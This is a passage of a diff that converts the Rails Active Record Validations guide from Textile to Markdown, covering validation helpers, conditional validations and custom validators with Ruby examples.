* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
-* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
+* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to [keep your controllers skinny](http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model), as it will make your application a pleasure to work with in the long run.
* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.
-h4. When Does Validation Happen?
+### When Does Validation Happen?
-There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
+There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the `new` method, that object does not belong to the database yet. Once you call `save` upon that object it will be saved into the appropriate database table. Active Record uses the `new_record?` instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
end
-</ruby>
+```
-We can see how it works by looking at some +rails console+ output:
+We can see how it works by looking at some `rails console` output:
-<ruby>
+```ruby
>> p = Person.new(:name => "John Doe")
-=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
+=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
>> p.new_record?
=> true
>> p.save
=> true
>> p.new_record?
=> false
-</ruby>
+```
-Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
+Creating and saving a new record will send an SQL `INSERT` operation to the database. Updating an existing record will send an SQL `UPDATE` operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the `INSERT` or `UPDATE` operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.
The following methods trigger validations, and will save the object to the database only if the object is valid:
-* +create+
-* +create!+
-* +save+
-* +save!+
-* +update+
-* +update_attributes+
-* +update_attributes!+
+* `create`
+* `create!`
+* `save`
+* `save!`
+* `update`
+* `update_attributes`
+* `update_attributes!`
-The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the objects.
+The bang versions (e.g. `save!`) raise an exception if the record is invalid. The non-bang versions don't: `save` and `update_attributes` return `false`, `create` and `update` just return the objects.
-h4. Skipping Validations
+### Skipping Validations
The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
-* +decrement!+
-* +decrement_counter+
-* +increment!+
-* +increment_counter+
-* +toggle!+
-* +touch+
-* +update_all+
-* +update_attribute+
-* +update_column+
-* +update_columns+
-* +update_counters+
+* `decrement!`
+* `decrement_counter`
+* `increment!`
+* `increment_counter`
+* `toggle!`
+* `touch`
+* `update_all`
+* `update_attribute`
+* `update_column`
+* `update_columns`
+* `update_counters`
-Note that +save+ also has the ability to skip validations if passed +:validate => false+ as argument. This technique should be used with caution.
+Note that `save` also has the ability to skip validations if passed `:validate => false` as argument. This technique should be used with caution.
-* +save(:validate => false)+
+* `save(:validate => false)`
-h4. +valid?+ and +invalid?+
+### `valid?` and `invalid?`
-To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise.
+To verify whether or not an object is valid, Rails uses the `valid?` method. You can also use this method on your own. `valid?` triggers your validations and returns true if no errors were found in the object, and false otherwise.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true
end
Person.create(:name => "John Doe").valid? # => true
Person.create(:name => nil).valid? # => false
-</ruby>
+```
-After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.
+After Active Record has performed validations, any errors found can be accessed through the `errors` instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.
-Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
+Note that an object instantiated with `new` will not report errors even if it's technically invalid, because validations are not run when using `new`.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true
end
>> p = Person.new
-=> #<Person id: nil, name: nil>
+#=> #<Person id: nil, name: nil>
>> p.errors
-=> {}
+#=> {}
>> p.valid?
-=> false
+#=> false
>> p.errors
-=> {:name=>["can't be blank"]}
+#=> {:name=>["can't be blank"]}
>> p = Person.create
-=> #<Person id: nil, name: nil>
+#=> #<Person id: nil, name: nil>
>> p.errors
-=> {:name=>["can't be blank"]}
+#=> {:name=>["can't be blank"]}
>> p.save
-=> false
+#=> false
>> p.save!
-=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
>> Person.create!
-=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
-</ruby>
+#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
-+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise.
+`invalid?` is simply the inverse of `valid?`. It triggers your validations, returning true if any errors were found in the object, and false otherwise.
-h4(#validations_overview-errors). +errors[]+
+### `errors[]`
-To verify whether or not a particular attribute of an object is valid, you can use +errors[:attribute]+. It returns an array of all the errors for +:attribute+. If there are no errors on the specified attribute, an empty array is returned.
+To verify whether or not a particular attribute of an object is valid, you can use `errors[:attribute]`. It returns an array of all the errors for `:attribute`. If there are no errors on the specified attribute, an empty array is returned.
-This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
+This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the `ActiveRecord::Base#invalid?` method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true
end
>> Person.new.errors[:name].any? # => false
>> Person.create.errors[:name].any? # => true
-</ruby>
+```
-We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
+We'll cover validation errors in greater depth in the [Working with Validation Errors](#working-with-validation-errors) section. For now, let's turn to the built-in validation helpers that Rails provides by default.
-h3. Validation Helpers
+Validation Helpers
+------------------
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated.
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's `errors` collection, and this message is associated with the attribute being validated.
Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.
-All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers.
+All of them accept the `:on` and `:message` options, which define when the validation should be run and what message should be added to the `errors` collection if it fails, respectively. The `:on` option takes one of the values `:save` (the default), `:create` or `:update`. There is a default error message for each one of the validation helpers. These messages are used when the `:message` option isn't specified. Let's take a look at each one of the available helpers.
-h4. +acceptance+
+### `acceptance`
Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :terms_of_service, :acceptance => true
end
-</ruby>
+```
The default error message for this helper is "_must be accepted_".
-It can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed.
+It can receive an `:accept` option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :terms_of_service, :acceptance => { :accept => 'yes' }
end
-</ruby>
+```
-h4. +validates_associated+
+### `validates_associated`
-You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
+You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, `valid?` will be called upon each one of the associated objects.
-<ruby>
+```ruby
class Library < ActiveRecord::Base
has_many :books
validates_associated :books
end
-</ruby>
+```
This validation will work with all of the association types.
-CAUTION: Don't use +validates_associated+ on both ends of your associations. They would call each other in an infinite loop.
+CAUTION: Don't use `validates_associated` on both ends of your associations. They would call each other in an infinite loop.
-The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
+The default error message for `validates_associated` is "_is invalid_". Note that each associated object will contain its own `errors` collection; errors do not bubble up to the calling model.
-h4. +confirmation+
+### `confirmation`
You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :email, :confirmation => true
end
-</ruby>
+```
In your view template you could use something like
-<erb>
+```erb
<%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>
-</erb>
+```
-This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +presence+ later on this guide):
+This check is performed only if `email_confirmation` is not `nil`. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at `presence` later on this guide):
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :email, :confirmation => true
validates :email_confirmation, :presence => true
end
-</ruby>
+```
The default error message for this helper is "_doesn't match confirmation_".
-h4. +exclusion+
+### `exclusion`
This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
-<ruby>
+```ruby
class Account < ActiveRecord::Base
validates :subdomain, :exclusion => { :in => %w(www us ca jp),
:message => "Subdomain %{value} is reserved." }
end
-</ruby>
+```
-The +exclusion+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value.
+The `exclusion` helper has an option `:in` that receives the set of values that will not be accepted for the validated attributes. The `:in` option has an alias called `:within` that you can use for the same purpose, if you'd like to. This example uses the `:message` option to show how you can include the attribute's value.
The default error message is "_is reserved_".
-h4. +format+
+### `format`
-This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option.
+This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the `:with` option.
-<ruby>
+```ruby
class Product < ActiveRecord::Base
validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/,
:message => "Only letters allowed" }
end
-</ruby>
+```
The default error message is "_is invalid_".
-h4. +inclusion+
+### `inclusion`
This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
-<ruby>
+```ruby
class Coffee < ActiveRecord::Base
validates :size, :inclusion => { :in => %w(small medium large),
:message => "%{value} is not a valid size" }
end
-</ruby>
+```
-The +inclusion+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value.
+The `inclusion` helper has an option `:in` that receives the set of values that will be accepted. The `:in` option has an alias called `:within` that you can use for the same purpose, if you'd like to. The previous example uses the `:message` option to show how you can include the attribute's value.
The default error message for this helper is "_is not included in the list_".
-h4. +length+
+### `length`
This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :length => { :minimum => 2 }
validates :bio, :length => { :maximum => 500 }
validates :password, :length => { :in => 6..20 }
validates :registration_number, :length => { :is => 6 }
end
-</ruby>
+```
The possible length constraint options are:
-* +:minimum+ - The attribute cannot have less than the specified length.
-* +:maximum+ - The attribute cannot have more than the specified length.
-* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range.
-* +:is+ - The attribute length must be equal to the given value.
+* `:minimum` - The attribute cannot have less than the specified length.
+* `:maximum` - The attribute cannot have more than the specified length.
+* `:in` (or `:within`) - The attribute length must be included in a given interval. The value for this option must be a range.
+* `:is` - The attribute length must be equal to the given value.
-The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>%{count}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
+The default error messages depend on the type of length validation being performed. You can personalize these messages using the `:wrong_length`, `:too_long`, and `:too_short` options and `%{count}` as a placeholder for the number corresponding to the length constraint being used. You can still use the `:message` option to specify an error message.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :bio, :length => { :maximum => 1000,
:too_long => "%{count} characters is the maximum allowed" }
end
-</ruby>
+```
-This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option:
+This helper counts characters by default, but you can split the value in a different way using the `:tokenizer` option:
-<ruby>
+```ruby
class Essay < ActiveRecord::Base
validates :content, :length => {
:minimum => 300,
@@ -316,108 +320,108 @@ class Essay < ActiveRecord::Base
:too_long => "must have at most %{count} words"
}
end
-</ruby>
+```
-Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +presence+ prior to +length+.
+Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when `:minimum` is 1 you should provide a personalized message or use `validates_presence_of` instead. When `:in` or `:within` have a lower limit of 1, you should either provide a personalized message or call `presence` prior to `length`.
-The +size+ helper is an alias for +length+.
+The `size` helper is an alias for `length`.
-h4. +numericality+
+### `numericality`
-This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true.
+This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set `:only_integer` to true.
-If you set +:only_integer+ to +true+, then it will use the
+If you set `:only_integer` to `true`, then it will use the
-<ruby>
-/\A[<plus>-]?\d<plus>\Z/
-</ruby>
+```ruby
+/\A[+-]?\d+\Z/
+```
-regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
+regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using `Float`.
WARNING. Note that the regular expression above allows a trailing newline character.
-<ruby>
+```ruby
class Player < ActiveRecord::Base
validates :points, :numericality => true
validates :games_played, :numericality => { :only_integer => true }
end
-</ruby>
+```
-Besides +:only_integer+, this helper also accepts the following options to add constraints to acceptable values:
+Besides `:only_integer`, this helper also accepts the following options to add constraints to acceptable values:
-* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_".
-* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_".
-* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to %{count}_".
-* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than %{count}_".
-* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less than or equal to %{count}_".
-* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_".
-* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_".
+* `:greater_than` - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_".
+* `:greater_than_or_equal_to` - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_".
+* `:equal_to` - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to %{count}_".
+* `:less_than` - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than %{count}_".
+* `:less_than_or_equal_to` - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less than or equal to %{count}_".
+* `:odd` - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_".
+* `:even` - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_".
The default error message is "_is not a number_".
-h4. +presence+
+### `presence`
-This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
+This helper validates that the specified attributes are not empty. It uses the `blank?` method to check if the value is either `nil` or a blank string, that is, a string that is either empty or consists of whitespace.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :login, :email, :presence => true
end
-</ruby>
+```
If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
-<ruby>
+```ruby
class LineItem < ActiveRecord::Base
belongs_to :order
validates :order_id, :presence => true
end
-</ruby>
+```
-If you validate the presence of an object associated via a +has_one+ or +has_many+ relationship, it will check that the object is neither +blank?+ nor +marked_for_destruction?+.
+If you validate the presence of an object associated via a `has_one` or `has_many` relationship, it will check that the object is neither `blank?` nor `marked_for_destruction?`.
-Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use <tt>validates :field_name, :inclusion => { :in => [true, false] }</tt>.
+Since `false.blank?` is true, if you want to validate the presence of a boolean field you should use `validates :field_name, :inclusion => { :in => [true, false] }`.
The default error message is "_can't be empty_".
-h4. +uniqueness+
+### `uniqueness`
This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database.
-<ruby>
+```ruby
class Account < ActiveRecord::Base
validates :email, :uniqueness => true
end
-</ruby>
+```
The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.
-There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
+There is a `:scope` option that you can use to specify other attributes that are used to limit the uniqueness check:
-<ruby>
+```ruby
class Holiday < ActiveRecord::Base
validates :name, :uniqueness => { :scope => :year,
:message => "should happen once per year" }
end
-</ruby>
+```
-There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
+There is also a `:case_sensitive` option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :uniqueness => { :case_sensitive => false }
end
-</ruby>
+```
WARNING. Note that some databases are configured to perform case-insensitive searches anyway.
The default error message is "_has already been taken_".
-h4. +validates_with+
+### `validates_with`
This helper passes the record to a separate class for validation.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates_with GoodnessValidator
end
@@ -429,17 +433,17 @@ class GoodnessValidator < ActiveModel::Validator
end
end
end
-</ruby>
+```
-NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute.
+NOTE: Errors added to `record.errors[:base]` relate to the state of the record as a whole, and not to a specific attribute.
-The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class.
+The `validates_with` helper takes a class, or a list of classes to use for validation. There is no default error message for `validates_with`. You must manually add errors to the record's errors collection in the validator class.
-To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated.
+To implement the validate method, you must have a `record` parameter defined, which is the record to be validated.
-Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+:
+Like all other validations, `validates_with` takes the `:if`, `:unless` and `:on` options. If you pass any other options, it will send those options to the validator class as `options`:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates_with GoodnessValidator, :fields => [:first_name, :last_name]
end
@@ -451,63 +455,64 @@ class GoodnessValidator < ActiveModel::Validator
end
end
end
-</ruby>
+```
-h4. +validates_each+
+### `validates_each`
-This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
+This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to `validates_each` will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates_each :name, :surname do |record, attr, value|
record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
end
end
-</ruby>
+```
The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.
-h3. Common Validation Options
+Common Validation Options
+-------------------------
These are common validation options:
-h4. +:allow_nil+
+### `:allow_nil`
-The +:allow_nil+ option skips the validation when the value being validated is +nil+.
+The `:allow_nil` option skips the validation when the value being validated is `nil`.
-<ruby>
+```ruby
class Coffee < ActiveRecord::Base
validates :size, :inclusion => { :in => %w(small medium large),
:message => "%{value} is not a valid size" }, :allow_nil => true
end
-</ruby>
+```
-TIP: +:allow_nil+ is ignored by the presence validator.
+TIP: `:allow_nil` is ignored by the presence validator.
-h4. +:allow_blank+
+### `:allow_blank`
-The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
+The `:allow_blank` option is similar to the `:allow_nil` option. This option will let validation pass if the attribute's value is `blank?`, like `nil` or an empty string for example.
-<ruby>
+```ruby
class Topic < ActiveRecord::Base
validates :title, :length => { :is => 5 }, :allow_blank => true
end
Topic.create("title" => "").valid? # => true
Topic.create("title" => nil).valid? # => true
-</ruby>
+```
-TIP: +:allow_blank+ is ignored by the presence validator.
+TIP: `:allow_blank` is ignored by the presence validator.
-h4. +:message+
+### `:message`
-As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
+As you've already seen, the `:message` option lets you specify the message that will be added to the `errors` collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
-h4. +:on+
+### `:on`
-The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
+The `:on` option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use `:on => :create` to run the validation only when a new record is created or `:on => :update` to run the validation only when a record is updated.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
# it will be possible to update email with a duplicated value
validates :email, :uniqueness => true, :on => :create
@@ -518,39 +523,41 @@ class Person < ActiveRecord::Base
# the default (validates on both create and update)
validates :name, :presence => true, :on => :save
end
-</ruby>
+```
-h3. Strict Validations
+Strict Validations
+------------------
-You can also specify validations to be strict and raise +ActiveModel::StrictValidationFailed+ when the object is invalid.
+You can also specify validations to be strict and raise `ActiveModel::StrictValidationFailed` when the object is invalid.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => { :strict => true }
end
-Person.new.valid? => ActiveModel::StrictValidationFailed: Name can't be blank
-</ruby>
+Person.new.valid? #=> ActiveModel::StrictValidationFailed: Name can't be blank
+```
-There is also an ability to pass custom exception to +:strict+ option
+There is also an ability to pass custom exception to `:strict` option
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :token, :presence => true, :uniqueness => true, :strict => TokenGenerationException
end
-Person.new.valid? => TokenGenerationException: Token can't be blank
-</ruby>
+Person.new.valid? #=> TokenGenerationException: Token can't be blank
+```
-h3. Conditional Validation
+Conditional Validation
+----------------------
-Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string, a +Proc+ or an +Array+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
+Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the `:if` and `:unless` options, which can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if` option when you want to specify when the validation **should** happen. If you want to specify when the validation **should not** happen, then you may use the `:unless` option.
-h4. Using a Symbol with +:if+ and +:unless+
+### Using a Symbol with `:if` and `:unless`
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
+You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
-<ruby>
+```ruby
class Order < ActiveRecord::Base
validates :card_number, :presence => true, :if => :paid_with_card?
@@ -558,67 +565,68 @@ class Order < ActiveRecord::Base
payment_type == "card"
end
end
-</ruby>
+```
-h4. Using a String with +:if+ and +:unless+
+### Using a String with `:if` and `:unless`
-You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+You can also use a string that will be evaluated using `eval` and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :surname, :presence => true, :if => "name.nil?"
end
-</ruby>
+```
-h4. Using a Proc with +:if+ and +:unless+
+### Using a Proc with `:if` and `:unless`
-Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
+Finally, it's possible to associate `:if` and `:unless` with a `Proc` object which will be called. Using a `Proc` object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
-<ruby>
+```ruby
class Account < ActiveRecord::Base
validates :password, :confirmation => true,
:unless => Proc.new { |a| a.password.blank? }
end
-</ruby>
+```
-h4. Grouping conditional validations
+### Grouping conditional validations
-Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using +with_options+.
+Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using `with_options`.
-<ruby>
+```ruby
class User < ActiveRecord::Base
with_options :if => :is_admin? do |admin|
admin.validates :password, :length => { :minimum => 10 }
admin.validates :email, :presence => true
end
end
-</ruby>
+```
-All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+
+All validations inside of `with_options` block will have automatically passed the condition `:if => :is_admin?`
-h4. Combining validation conditions
+### Combining validation conditions
-On the other hand, when multiple conditions define whether or not a validation should happen, an +Array+ can be used. Moreover, you can apply both +:if:+ and +:unless+ to the same validation.
+On the other hand, when multiple conditions define whether or not a validation should happen, an `Array` can be used. Moreover, you can apply both `:if` and `:unless` to the same validation.
-<ruby>
+```ruby
class Computer < ActiveRecord::Base
validates :mouse, :presence => true,
:if => ["market.retail?", :desktop?]
:unless => Proc.new { |c| c.trackpad.present? }
end
-</ruby>
+```
-The validation only runs when all the +:if+ conditions and none of the +:unless+ conditions are evaluated to +true+.
+The validation only runs when all the `:if` conditions and none of the `:unless` conditions are evaluated to `true`.
-h3. Performing Custom Validations
+Performing Custom Validations
+-----------------------------
When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.
-h4. Custom Validators
+### Custom Validators
-Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method.
+Custom validators are classes that extend `ActiveModel::Validator`. These classes must implement a `validate` method which takes a record as an argument and performs the validation on it. The custom validator is called using the `validates_with` method.
-<ruby>
+```ruby
class MyValidator < ActiveModel::Validator
def validate(record)
unless record.name.starts_with? 'X'
@@ -631,14 +639,14 @@ class Person
include ActiveModel::Validations
validates_with MyValidator
end
-</ruby>
+```
-The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance.
+The easiest way to add custom validators for validating individual attributes is with the convenient `ActiveModel::EachValidator`. In this case, the custom validator class must implement a `validate_each` method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance.
-<ruby>
+```ruby
class EmailValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
- unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
+ unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
record.errors[attribute] << (options[:message] || "is not an email")
end
end
@@ -647,17 +655,17 @@ end
class Person < ActiveRecord::Base
validates :email, :presence => true, :email => true
end
-</ruby>
+```
As shown in the example, you can also combine standard validations with your own custom validators.
-h4. Custom Methods
+### Custom Methods
-You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using the +validate+ class method, passing in the symbols for the validation methods' names.
+You can also create methods that verify the state of your models and add messages to the `errors` collection when they are invalid. You must then register these methods by using the `validate` class method, passing in the symbols for the validation methods' names.
You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
-<ruby>
+```ruby
class Invoice < ActiveRecord::Base
validate :expiration_date_cannot_be_in_the_past,
